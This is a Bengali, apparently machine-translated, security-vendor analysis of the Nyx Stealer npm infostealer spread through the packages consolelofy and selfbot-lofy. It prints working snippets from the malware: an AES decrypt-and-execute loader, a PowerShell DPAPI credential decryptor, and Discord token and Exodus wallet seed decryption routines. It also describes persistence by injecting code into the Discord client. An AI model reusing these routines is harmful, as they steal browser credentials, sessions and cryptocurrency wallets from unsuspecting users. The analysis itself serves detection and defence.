TL; ডিআর
জাইজেনি নিরাপত্তা গবেষণা দল দুটি ক্ষতিকারক প্যাকেজের মাধ্যমে পরিচালিত একটি অত্যাধুনিক এনপিএম ইনফোস্টিলার ক্যাম্পেইন শনাক্ত করা হয়েছে: কনসোললোফি এবং সেলফবট-লোফি.
সর্বশেষ সংস্করণ (consolelofy@1.3.0) একটি 216KB AES-এনক্রিপ্টেড পেলোড এমবেড করে যা রানটাইমে ডিক্রিপ্ট হয় এবং এর মাধ্যমে এক্সিকিউট হয়। vm.runInNewContext()যেহেতু ক্ষতিকারক লজিকটি সম্পূর্ণরূপে এনক্রিপ্ট করা থাকে, তাই স্ট্রিং ইন্সপেকশনের উপর নির্ভরশীল স্ট্যাটিক স্ক্যানারগুলো এটি কার্যকর হওয়ার আগ পর্যন্ত এর আচরণ পর্যবেক্ষণ করতে পারে না।
একবার ডিক্রিপ্ট করা হলে, অভ্যন্তরীণভাবে ব্র্যান্ডেড পেলোডটি নিক্স স্টিলার, লক্ষ্য:
- ডিসকর্ড প্রমাণীকরণ টোকেন
- ৫০টিরও বেশি ব্রাউজার ক্রেডেনশিয়াল স্টোর
- ৯০টিরও বেশি ক্রিপ্টোকারেন্সি ওয়ালেট এক্সটেনশন
- রোবলক্স, ইনস্টাগ্রাম, স্পটিফাই, স্টিম, টেলিগ্রাম এবং টিকটক সেশন
- ডিসকর্ড ডেস্কটপ ক্লায়েন্ট স্থায়িত্ব
উভয় প্যাকেজের ২০টি সংস্করণই ক্ষতিকর হিসেবে চিহ্নিত ও নিশ্চিত করা হয়েছে।
এই npm Infostealer-এর প্রযুক্তিগত বিবরণ
প্রচলিত ইনস্টল-টাইম ম্যালওয়্যারের বিপরীতে, এই ক্যাম্পেইনটি একটির উপর নির্ভর করে রানটাইম ডিক্রিপশন মডেল.
সেখানে:
- কোনো বিদ্বেষপূর্ণ নয়
preinstallorpostinstallhooks - ইনস্টল-সময়ের কোনও সুস্পষ্ট নেটওয়ার্ক কল নেই
- প্লেইনটেক্সট ক্রেডেনশিয়াল সংগ্রহের কোনো যুক্তি নেই
মডিউলটি ইম্পোর্ট করার সময় পেলোডটি সক্রিয় হয়। সম্পূর্ণ ক্ষতিকারক অংশটি এনক্রিপ্ট করা থাকে এবং শুধুমাত্র রানটাইমে মেমরিতে দৃশ্যমান হয়।
এই নকশাটি প্যাকেজ ইনস্টলেশনের সময় শনাক্ত হওয়া বিশেষভাবে এড়িয়ে চলে।
এই npm Infostealer আসলে কীভাবে কার্যকর হয়
নিক্স স্টিলার কী চুরি করে তা বিশ্লেষণ করার আগে, আমাদের বুঝতে হবে এটি কীভাবে কার্যকর করে.
এই npm infostealer-এর ভেতরের ক্ষতিকারক লজিকটি একটি ধারাবাহিক প্যাটার্ন অনুসরণ করে:
একটি ছোট লোডার একটি বৃহৎ এনক্রিপ্টেড পেলোডকে ডিক্রিপ্ট করে এবং একটি Node.js VM কনটেক্সটের অভ্যন্তরে ডায়নামিকভাবে তা এক্সিকিউট করে।
এই নকশাটি ইচ্ছাকৃত। আক্রমণকারী কেবল দুর্বোধ্যতার আড়ালেই কার্যকারিতা লুকাচ্ছে না, তারা ক্ষতিকারক কোডকে স্ট্যাটিক দৃশ্যমানতা থেকে সম্পূর্ণরূপে অপসারণ করা.
উচ্চ-স্তরের বাস্তবায়ন মডেল
মোটা দাগে, মোড়কটি চারটি কাজ করে:
- SHA-256 ব্যবহার করে হার্ডকোডেড পাসফ্রেজ থেকে একটি AES কী তৈরি করা হয়।
- AES-256-CBC ব্যবহার করে একটি বৃহৎ হেক্স-এনকোডেড সাইফারটেক্সট ডিক্রিপ্ট করে।
- ডিক্রিপ্ট করা জাভাস্ক্রিপ্টটি ব্যবহার করে কার্যকর করে
vm.runInNewContext() - এমন একটি স্যান্ডবক্স প্রদান করে যা শক্তিশালী রানটাইম প্রিমিটিভগুলোকেও উন্মুক্ত রাখে।
মূল কৌশলের সারাংশ
| উপাদান | কনফিগারেশন / মান |
|---|---|
| অ্যালগরিদম | এইএস -256-সিবিসি |
| মূল ব্যুৎপত্তি | SHA-256(পাসফ্রেজ) |
| ইনিশিয়ালাইজেশন ভেক্টর (IV) | 0x00 এর ১৬ বাইট |
| ফাঁসি | vm.runInNewContext(ডিক্রিপ্টেড, স্যান্ডবক্স) |
গুরুত্বপূর্ণভাবে, স্যান্ডবক্সটি নিম্নলিখিত বিষয়গুলোর মধ্য দিয়ে যায়:
requireprocessBuffer- টাইমার
- মডিউল রপ্তানি
এর মানে হলো, ডিক্রিপ্ট করা পেলোডটি নিম্নলিখিত কাজগুলো করার সম্পূর্ণ ক্ষমতা ধরে রাখে:
- স্পন প্রক্রিয়া
- ফাইল পড়া এবং লেখা
- নেটওয়ার্ক কল করুন
- স্থানীয় অ্যাপ্লিকেশনগুলি পরিবর্তন করুন
এটি কোনো সীমাবদ্ধ ভিএম নয়। এটি একটি ভিএম যা মৃত্যুদণ্ড কার্যকরের মঞ্চ হিসেবে ব্যবহৃত হয়।
রানটাইম এনক্রিপশন প্যাটার্ন (মূল নির্বাহ প্রক্রিয়া)
লোডারটি ছোট।
বিদ্বেষপূর্ণ শরীরটি নয়।
প্যাকেজের অভ্যন্তরে পাওয়া এক্সিকিউশন প্যাটার্নটি নিচে দেওয়া হলো:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } কেন এই ব্যাপার
ডিক্রিপ্ট করা পেলোড:
- না না npm প্যাকেজের ভিতরে প্লেইনটেক্সটে বিদ্যমান
- সরলের কাছে অদৃশ্য
grepঅথবা স্ট্যাটিক স্ট্রিং স্ক্যানিং - শুধুমাত্র রানটাইমে মেমরিতে বাস্তবায়িত হয়
- সম্পূর্ণ নোড রানটাইম সক্ষমতা সহ কার্যকর হয়।
এই AES + VM এক্সিকিউশন সংমিশ্রণটি একটি শক্তিশালী আচরণগত সূচক। এনপিএম ইনফোস্টিলার স্ট্যাটিক ইন্সপেকশন এড়ানোর চেষ্টা করছে.
অন্য কথায়:
আপনি যদি প্যাকেজ সোর্স ট্রি স্ক্যান করেন, তাহলে কোনো স্টিলার দেখতে পাবেন না।
আপনি একটি ডিক্রিপ্টর দেখতে পাচ্ছেন।
ডিক্রিপশনের পরে কী ঘটে
একবার চালু হলে, Nyx Stealer সমান্তরালভাবে ডেটা সংগ্রহের কয়েকটি পর্যায় শুরু করে।
তরঙ্গ ১: ব্রাউজার ক্রেডেনশিয়াল নিষ্কাশন
ম্যালওয়্যারটি:
- NuGet CDN থেকে একটি পাইথন রানটাইম ডাউনলোড করে
- ক্রিপ্টোগ্রাফিক লাইব্রেরি ইনস্টল করে
- ক্রোমিয়াম-ভিত্তিক প্রমাণপত্রের দোকানগুলি নিষ্কাশন করে
- DPAPI-সুরক্ষিত গোপনীয় তথ্য ডিক্রিপ্ট করে
নেটিভ বাইন্ডিং কম্পাইল করার পরিবর্তে, এটি সরাসরি উইন্ডোজ ডিপিএপিআই (DPAPI) কল করার জন্য পাওয়ারশেল (PowerShell) ব্যবহার করে।
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } এই পদ্ধতি:
- কম্পাইলেশন আর্টিফ্যাক্ট এড়িয়ে চলে
- নেটিভ উইন্ডোজ ক্রিপ্টো এপিআই ব্যবহার করে
- প্রশাসনিক সরঞ্জামের সাথে মিশে যায়
এটি ওএস-স্তরের ক্রেডেনশিয়াল ডিক্রিপশন, স্ক্র্যাপিং নয়।
দ্বিতীয় পর্যায়: ডিসকর্ড টোকেন ডিক্রিপশন
চোরটি প্রোটোকল-সচেতন। এটি ডিসকর্ডের এনক্রিপ্টেড টোকেন ফরম্যাট বোঝে।
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } পরিচালন প্রবাহ:
- ডিসকর্ড থেকে মাস্টার কী বের করুন
Local State - DPAPI এর মাধ্যমে মাস্টার কী ডিক্রিপ্ট করুন
- AES-GCM টোকেন ব্লব ডিক্রিপ্ট করুন
- ডিসকর্ড এপিআই-এর সাথে টোকেনগুলি যাচাই করুন
- নাইট্রো, ব্যাজ, বিলিং তথ্য দিয়ে সমৃদ্ধ করুন
এটি সাধারণ ক্রেডেনশিয়াল ডাম্পিং নয়। এটি প্রোটোকল-সচেতন সেশন হাইজ্যাকিং।
তরঙ্গ ৩: ক্রিপ্টোকারেন্সি ওয়ালেট টার্গেটিং
npm infostealer গণনা করে:
- ৯০টিরও বেশি ব্রাউজার ওয়ালেট এক্সটেনশন
- ২৭টি ডেস্কটপ ওয়ালেট
- ঠান্ডা ওয়ালেট পথ
- এক্সোডাস বীজ ফাইল
বীজ ডিক্রিপশনের একটি উদাহরণ প্রচেষ্টা:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } সফল হলে, ওয়ালেটের নিরাপত্তা বিঘ্নিত হওয়া তাৎক্ষণিক এবং অপরিবর্তনীয়।
এটি প্রচারণার সর্বোচ্চ মূল্যবান নগদীকরণ মাধ্যমকে প্রতিনিধিত্ব করে।
ডিসকর্ড ডেস্কটপ ইনজেকশনের মাধ্যমে স্থায়িত্ব
ক্রেডেনশিয়াল সংগ্রহ করার পর, Nyx Stealer স্থানীয় ক্রেডেনশিয়াল পরিবর্তন করে সেটিকে স্থায়ী করার চেষ্টা করে। অনৈক্য গ্রাহক।
টার্গেট:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js অপারেশনাল সিকোয়েন্স
তথ্যচোর নিম্নলিখিত পদক্ষেপগুলি সম্পাদন করে:
- চলমান ডিসকর্ড প্রসেসগুলি বন্ধ করে দেয়
- ইনস্টল করা ডিসকর্ড সংস্করণগুলি (স্থিতিশীল, ক্যানারি, পিটিবি) সনাক্ত করে।
- ওভাররাইট
discord_desktop_core/index.js - আক্রমণকারী-নিয়ন্ত্রিত ওয়েবহুক লজিক প্রবেশ করায়
- ডিসকর্ড পুনরায় চালু করে
এর ফলে ভবিষ্যতের ডিসকর্ড সেশনগুলো থেকে স্বয়ংক্রিয়ভাবে নতুন অথেনটিকেশন টোকেন ফাঁস হয়ে যায়।
গুরুত্বপূর্ণভাবে, এই স্থায়িত্ব নির্ধারিত টাস্ক বা রেজিস্ট্রি পরিবর্তনের উপর নির্ভর করে না। এটি অ্যাপ্লিকেশন-স্তরের কোড পরিবর্তনকে কাজে লাগায়, যা একটি আরও গোপনীয় পদ্ধতি।
পরবর্তীতে ক্ষতিকারক এনপিএম প্যাকেজটি সরিয়ে ফেলা হলেও ডিসকর্ড ক্লায়েন্টটি ঝুঁকিপূর্ণ থেকে যায়।
প্রযুক্তিগত তুলনা: লেজিটিমেট সেলফবট বনাম এনপিএম ইনফোস্টিলার
| উপাদান | বৈধ গ্রন্থাগার | নিক্স এনপিএম ইনফোস্টিলার |
|---|---|---|
| এনক্রিপশন | না | সম্পূর্ণ AES-এনক্রিপ্টেড পেলোড |
| রানটাইম ভিএম | আবশ্যক না | vm.runInNewContext ফাঁসি |
| শংসাপত্র অ্যাক্সেস | ডিসকর্ড এপিআই শুধুমাত্র | ব্রাউজার, ওয়ালেট, ডিপিএপিআই |
| বাহ্যিক ডাউনলোড | না | NuGet এর মাধ্যমে পাইথন রানটাইম |
| অধ্যবসায় | না | ডিসকর্ড ক্লায়েন্ট ইনজেকশন |
| নগদীকরণ | বট অটোমেশন | শংসাপত্র পুনঃবিক্রয় |
শুধুমাত্র এনক্রিপশন স্তরটিই এই ক্যাম্পেইনটিকে একটি সাধারণ ওপেন-সোর্স ফর্ক থেকে আলাদা করে।
একটি বৈধ ডিসকর্ড সেলফবটের তার সম্পূর্ণ কোডবেস এনক্রিপ্ট করার, DPAPI অ্যাক্সেস করার জন্য পাওয়ারশেল চালু করার, এক্সটার্নাল রানটাইম ডাউনলোড করার, বা ডেস্কটপ অ্যাপ্লিকেশনের অভ্যন্তরীণ কাঠামো পরিবর্তন করার কোনো কারণ নেই। যখন এই সক্ষমতাগুলো এমন একটি ডিপেন্ডেন্সির মধ্যে দেখা যায় যা ডিসকর্ড ইন্টারঅ্যাকশন স্বয়ংক্রিয় করার দাবি করে, তখন এই স্থাপত্যগত অমিলকে উপেক্ষা করা অসম্ভব হয়ে পড়ে।
তদন্তের দৃষ্টিকোণ থেকে, এই এনপিএম ইনফোস্টিলারটি একাধিক স্তরে চিহ্ন রেখে যায়। তবে, সবচেয়ে নির্ভরযোগ্য সূচকগুলো হার্ডকোডেড ইউআরএল বা নির্দিষ্ট ফাইল পাথ নয়, কারণ সেগুলো বিভিন্ন ভার্সনের মধ্যে পরিবর্তিত হতে পারে। এর পরিবর্তে, টেকসই সংকেতগুলো হলো কাঠামোগত।
প্যাকেজ পর্যায়ে, সবচেয়ে বড় বিপদ সংকেত হলো একটি বৃহৎ এনক্রিপ্টেড পেলোড এবং একটি রানটাইম ডিক্রিপশন র্যাপারের সংমিশ্রণ, যা অবিলম্বে কার্যকর হয়। vm.runInNewContext()যদিও শুধুমাত্র এনক্রিপশন সহজাতভাবে ক্ষতিকর নয়, ডিসকর্ড ইউটিলিটি প্যাকেজের ভেতরে AES ডিক্রিপশনের পর ডাইনামিক ভিএম এক্সিকিউশন ব্যবহার করা অত্যন্ত অস্বাভাবিক।
হোস্ট পর্যায়ে সন্দেহজনক প্যাটার্নগুলোর মধ্যে রয়েছে অপ্রত্যাশিত DPAPI ডিক্রিপশন কার্যকলাপ, Node.js ডিপেন্ডেন্সি কনটেক্সট থেকে প্রসেস তৈরি হওয়া, এবং স্থানীয় অ্যাপ্লিকেশন ফাইলগুলোর এমন পরিবর্তন যা থার্ড-পার্টি লাইব্রেরি দ্বারা কখনোই পরিবর্তন করা উচিত নয়। একইভাবে, নেটওয়ার্ক স্তরে, একটি ডেভেলপমেন্ট ডিপেন্ডেন্সি দ্বারা শুরু হওয়া আউটবাউন্ড ওয়েবহুক-ধাঁচের যোগাযোগ আরেকটি গুরুত্বপূর্ণ অসঙ্গতি নির্দেশ করে।
অন্য কথায়, ডিটেকশন সারফেস কোনো আপোসের একক সূচক নয়। এনক্রিপশন, রানটাইম এক্সিকিউশন, ক্রেডেনশিয়াল অ্যাক্সেস এবং পারসিস্টেন্স আচরণের পারস্পরিক সম্পর্কই হুমকিটি প্রকাশ করে।
Xygeni দিয়ে সনাক্তকরণ এবং প্রশমন
এই এনপিএম ইনফোস্টিলারটি শনাক্ত করা হয়েছিল জাইজেনির ম্যালওয়্যার আর্লি ওয়ার্নিং (MEW) সাধারণ স্বাক্ষর মেলানোর পরিবর্তে স্তরযুক্ত আচরণগত পারস্পরিক সম্পর্কের মাধ্যমে।
পরিচিত ক্ষতিকারক স্ট্রিং খোঁজার পরিবর্তে, MEW সম্পূর্ণ সোর্স ট্রি জুড়ে কাঠামোগত অসঙ্গতিগুলো মূল্যায়ন করে। এক্ষেত্রে, বেশ কয়েকটি সংকেতের সমন্বয়ের ফলে এটি শনাক্ত হয়েছে: মডিউল এন্ট্রি পয়েন্টে একটি এমবেডেড AES ডিক্রিপশন রুটিন, একটি VM কনটেক্সটের ভেতরে এর তাৎক্ষণিক এক্সিকিউশন, এবং ক্যাপাবিলিটি ও ইনটেন্টের মধ্যে একটি সুস্পষ্ট অমিল।
গুরুত্বপূর্ণভাবে, এই সংকেতগুলোর কোনোটিই এককভাবে অসৎ উদ্দেশ্য প্রমাণ করে না। তবে, এগুলোকে একত্রে বিশ্লেষণ করলে রানটাইম আচরণ গোপন করার একটি প্রচেষ্টা প্রকাশ পায়। এই স্তরভিত্তিক পদ্ধতিটি উচ্চ-নিশ্চয়তার সাপ্লাই চেইন হুমকি শনাক্ত করার পাশাপাশি ফলস পজিটিভের সংখ্যাও উল্লেখযোগ্যভাবে হ্রাস করে।
অধিকন্তু, এই ঘটনাটি দেখায় কেন শুধুমাত্র ইনস্টল-সময়ের পরিদর্শনই যথেষ্ট নয়। ক্ষতিকারক লজিকটি লাইফসাইকেল স্ক্রিপ্টে থাকে না। এটি মডিউল লোড হওয়ার পরেই সক্রিয় হয় এবং মেমরিতে ডিক্রিপ্ট হওয়ার পরেই কেবল দৃশ্যমান হয়। অতএব, কার্যকর প্রতিরক্ষার জন্য এনক্রিপশন-সচেতন বিশ্লেষণ, আচরণগত প্যাটার্ন শনাক্তকরণ এবং ইনস্টলেশন পর্বের বাইরেও ক্রমাগত ডিপেন্ডেন্সি পর্যবেক্ষণ প্রয়োজন।
রেজিস্ট্রি অপসারণ হলো প্রতিক্রিয়াশীল। রানটাইম-সচেতন বিশ্লেষণ হলো প্রতিরোধমূলক।
কেন এই npm Infostealer গুরুত্বপূর্ণ
নিক্স স্টিলার হলো এনপিএম-ভিত্তিক ম্যালওয়্যারের একটি কাঠামোগত বিবর্তন।
ঐতিহাসিকভাবে, অনেক ক্ষতিকারক প্যাকেজ দৃশ্যমান ইনস্টল-টাইম স্ক্রিপ্ট বা সুস্পষ্ট ক্রেডেনশিয়াল এক্সফিলট্রেশন এন্ডপয়েন্টের উপর নির্ভর করত। এর বিপরীতে, এই ক্যাম্পেইনটি তার পেলোড এনক্রিপ্ট করে, রানটাইমে এক্সিকিউশন স্থগিত রাখে, বৈধ অপারেটিং সিস্টেম এপিআই ব্যবহার করে এবং বিশ্বস্ত অ্যাপ্লিকেশনের ভেতরে স্থায়ী অবস্থান স্থাপন করে।
ফলস্বরূপ, আক্রমণকারীকে সরাসরি এনপিএম (npm) পরিকাঠামোকে কাজে লাগানোর প্রয়োজন হয় না। বরং, আক্রমণটি সফল হয় কারণ ডিপেন্ডেন্সি ইনস্টলেশন বিশ্বাসযোগ্যতা তৈরি করে। ডেভেলপাররা ধরে নেন যে একটি লাইব্রেরি ইম্পোর্ট করা একটি নিরাপদ কাজ, বিশেষ করে যখন এটি কোনো জনপ্রিয় টুলের একটি বিশ্বাসযোগ্য ফর্ক হিসেবে উপস্থাপিত হয়।
ইকোসিস্টেমগুলো ক্রমাগত বৃদ্ধি পাওয়ার সাথে সাথে এবং ফোর্কগুলোর সংখ্যা বাড়ার ফলে, সেই অন্তর্নিহিত বিশ্বাসের সীমারেখাটি আক্রমণের জন্য ক্রমশ একটি আকর্ষণীয় ক্ষেত্র হয়ে ওঠে। অতএব, আধুনিক এনপিএম ইনফোস্টিলারদের থেকে রক্ষা পাওয়ার জন্য স্ট্যাটিক স্ট্রিং খোঁজার পরিবর্তে আর্কিটেকচারাল প্যাটার্নগুলো শনাক্ত করা প্রয়োজন।
পরিশেষে, এই প্রচারণাটি একটি গুরুত্বপূর্ণ শিক্ষাকে আরও জোরদার করে। software supply chain securityসবচেয়ে বিপজ্জনক হুমকিগুলো সেগুলো নয় যেগুলো প্রথম দর্শনে ক্ষতিকর মনে হয়, বরং সেগুলোই যেগুলো রানটাইমে তাদের আসল আচরণ প্রকাশ না হওয়া পর্যন্ত কাঠামোগতভাবে বৈধ বলে মনে হয়।




